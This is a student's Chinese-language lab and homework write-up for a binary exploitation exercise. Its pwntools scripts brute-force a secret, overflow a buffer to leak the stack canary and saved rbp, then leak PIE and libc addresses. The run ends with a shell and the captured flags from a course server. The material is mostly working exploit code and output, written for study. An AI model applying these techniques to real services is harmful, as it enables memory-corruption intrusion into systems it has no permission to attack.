

Lab 7

Lab:

首先要去leak secret，我的方法是用窮舉法把secret leak出來。因為secret總共有八個字元，我一個一個字元去猜，如果出現NONONO，表示我這個字元猜對了，跳出迴圈把這個字元記下來，去猜下一個字元，直到把八個字元都猜完。

```
response = ""
payload_base = 'A'*8
time = 0
while (time != 8):
    i = 0
    response = ""
    while (response != "H:NoNoNo"):
        payload = payload_base + chr(i)
        asksecret(payload)
        response = io.recvline(keepends=False)
        #print(response)
        i += 1
    time += 1
    payload_base = payload
    #print(time)
    #print(payload_base)
#print(payload_base[7:16])
secret = payload_base[8:16]
```

把猜好的字串傳回去給asksecret看看，結果和secret一樣。

```
[+] Opening connection to 140.114.77.172 on port 10002: Done
\x8f\x04\x94\x06\xbb\xae\x8c
H:OK.....Maybe you are right
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

接著要去leak canary和stack，由於canary的性質，必須把canary的00改成其他值，這樣print的時候就會把後面的資訊一併印出來。



00	cd	26	c9	79	0e	4c	93
70	2f	55	5b	fc	7f	00	00

因為buf的大小是0x208，但read是讀0x210，這樣就可用overflow的方式去改canary的00。我這裡是在0x208個A後面接一個B去overflow canary。之後leak會吐出一段字串，這裡面包含了canary和old rbp的資訊，把這些資訊擷取出來，在canary的最前面加上一個00，在old rbp的最後面接上兩個00。

```
payload = 'A'*0x208 + 'B'
grill('y', payload)
io.recvuntil('9\n')
response = io.recvline(keepends=False)
print(response)
#print(response[519:528])
#print(len(response[521:528]))
#print(response[528:534])
#print(len(response[528:534]))
canary = chr(0) + response[521:528]
stack = response[528:534] + chr(0) + chr(0)
```

下面是leak吐出來的資訊。

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB\x97>M<\x9e:p\x8a::\x7f
```

此時，canary的00已經被我改成B了，為了避免stack smashing detect，要再overflow一次把00改回來。

```
payload = 'A'*0x208 + chr(0)
io.recvuntil(']\n')
io.send('y')
grill('y', payload)
```

目前得到的資訊：

```
('Stack', 'p\x8a\xec:\xfd\x7f\x00\x00')
('Canary', '\x00\x97\xc0M<\x9e\x01:')
('Secret', '\x8f\x04\x94\x06\xbb\xae\x8c\xe1')
```

最後要去送答案，看source code可以發現，程式會把傳進去的stack secret做比較。而old rbp是和stackans進行比較。

```
if(memcmp(Input,&StackAns,8) == 0  
    ReturnValue = 2;
```

用IDA去看可以發現stackans為處於rbp-0x50的位置。

```
_int64 *$2; // [sp+10h] [bp-50h]@1
```

用gdb attach上執行中的leak，對照leak出來的oldrbp和stackans之間的差距。
這是leak出來的oldrbp：

```
0x00007ffe582fd110
```

這是用gdb觀察到的stackans：

```
:0x0000563fe2e279f0 in CheckAnswer ()  
gdb-peda$ x/gx $rbp-0x50  
0x7ffe582fd0a0: 0x00007ffe582fd0a0  
gdb-peda$
```

發現兩者之間有差距，且差距固定為0x70。

所以在傳答案的時候要傳入oldrbp-0x70才會等同於stackans：

```
diff = '0x000000070'
```

```
lab(int(stack,16)-int(diff,16), int(secret,16), int(canary,16))
```

得到flag：

```
\x00\x9c\x92\x50\x14  
flag{you__are_familiar_with_leak_skill_right?}  
[*] Closed connection to 140.114.77.172 port 10002
```

Homework:

首先來leak，在source code中可以看到PIEAns是ListMessage這個陣列的起始位置。

```
int iType = -1;
char *StackAns = &StackAns;
char SecretAns[8] = {0};
char *PIEAns = &ListMessage;
char *LibcAns = &system;
```

要得到這個位置，首先先去取得ShowMessage()這個function的address of return address。

用gdb去看，此次的位置是在0x7ffdf868ceb8，這個位置和此次leak出來的old rbp 0x7ffdf868ced0差了0x12個距離。（因為address of return address是在rbp+0x8的位置，而由lab可以觀察到old rbp和[rbp-0x50]差了0x70，所以old rbp到rbp要減掉0x20，然後再加上0x8才是address of return address）

```
Legend: code, data, rodata, value
0x00005625a35da899 in ShowMessage ()
gdb-peda$ info frame
Stack level 0, frame at 0x7ffdf868cec0:
rip = 0x5625a35da899 in ShowMessage; saved rip = 0x5625a35dac19
called by frame at 0x7ffdf868cee0
Arglist at 0x7ffdf868ceb0, args:
Locals at 0x7ffdf868ceb0, Previous frame's sp is 0x7ffdf868cec0
Saved registers:
    rbp at 0x7ffdf868ceb0, rip at 0x7ffdf868ceb8
```

0x00007ffdf868ced0

用這個方法算出address of return address後，用ppt上的方式，先呼叫grill，填入0x20個A加上剛剛算出來old rbp-0x12的值。然後再用leavemessage，輸入0x20個C去蓋掉A，old rbp-0x12的值沒有被洗掉，會被ListMessage[1]的Type所存取。

```
#leak PIE
io.recvuntil('>')
io.sendline('2')
pie_payload = 'A' * 0x20 + p64(int(stack,16)-0x20+0x8) + 'B' * 0x20 + chr(0)
print(pie_payload)
grill('y',pie_payload)
io.recvuntil("]\n")
io.send('\n')
leavemessage(0,1,'C'*0x20)
showmessage(1)
io.recvuntil('Message Level: ')
pie = io.recvline(keepends=False)
print(pie)
```

由於Type是pointer，所以用ShowMessage叫程式Show ListMessage[1]的資訊時，Level會秀出return address!

這裡秀出的return address是0x5625a35dac19，經過觀察發現，return address會和ListMessage的位置差0x2447，所以要再加上0x2447。得到的0x5625a35dd060就是ListMessage的位置

```
check address of return address in stack
\x19\xac]\xa3%V
0x00005625a35dac19
('ListMessage addr', '0x5625a35dd060')
```

接著來leak libc。

```
int iType = -1;
char *StackAns = &StackAns;
char SecretAns[8] = {0};
char *PIEAns = &ListMessage;
char *LibcAns = &system;
```

可以看到必須知道system的位置。

可以觀察到，ListMessage和system在GOT的位置相差0x88，為了驗證，用x/gx &system，其位置和system在GOT的位置的值一樣。

```
gdb-peda$ x/32gx &ListMessage
0x56456c8e2060 <ListMessage>:
4343434343
```

```
gdb-peda$ x/gx 0x56456c8e2060-0x88
0x56456c8e1fd8: 0x00007fdad5c06fd0
gdb-peda$ x/gx &system
0x7fdad5c06fd0 <__libc_system>: 0xfb26e90b74ff8548
```

運用和剛剛一樣的方法，用grill+leavemessage，最後用show message ListMessage[1]來看system的位置。

```
io.recvuntil('>')
io.sendline('2')
libc_payload = 'A' * 0x20 + p64(pie-0x88)
grill('y',libc_payload)
io.recvuntil("]\n")
io.send('\n')
leavemessage(0,1,'C'*0x20)
showmessage(1)
io.recvuntil('Message Level: ')
libc = io.recvline(keepends=False)
libc = ''.join(reversed(libc))
libc = '\x00\x00' + libc
libc = '0x' + libc.encode('hex')
libc = int(libc,16)
print("System address", hex(libc))
```

將system的值存起來為libc，將old rbp、canary、secret、PIE、lib傳給CheckAnswer，成功進入bash!

```
\x19♦♦LEV
0x000056456c8dfc19
('ListMessage addr', '0x56456c8e2060')
check address of return address in stack
('System address', '0x7fdad5c06fd0')
[*] Switching to interactive mode
Good Job!!!
$ exit
#####
1. AskSecret
2. Grill
```

最後是flag:

```
leak
$ cd leak
$ ls
flag
flag1
leak
run.sh
$ cat flag
flag{LLLLeeeeeeeAAAAaAAaaKKKcckcckkkckkkk!!!!~~~~~}
$
```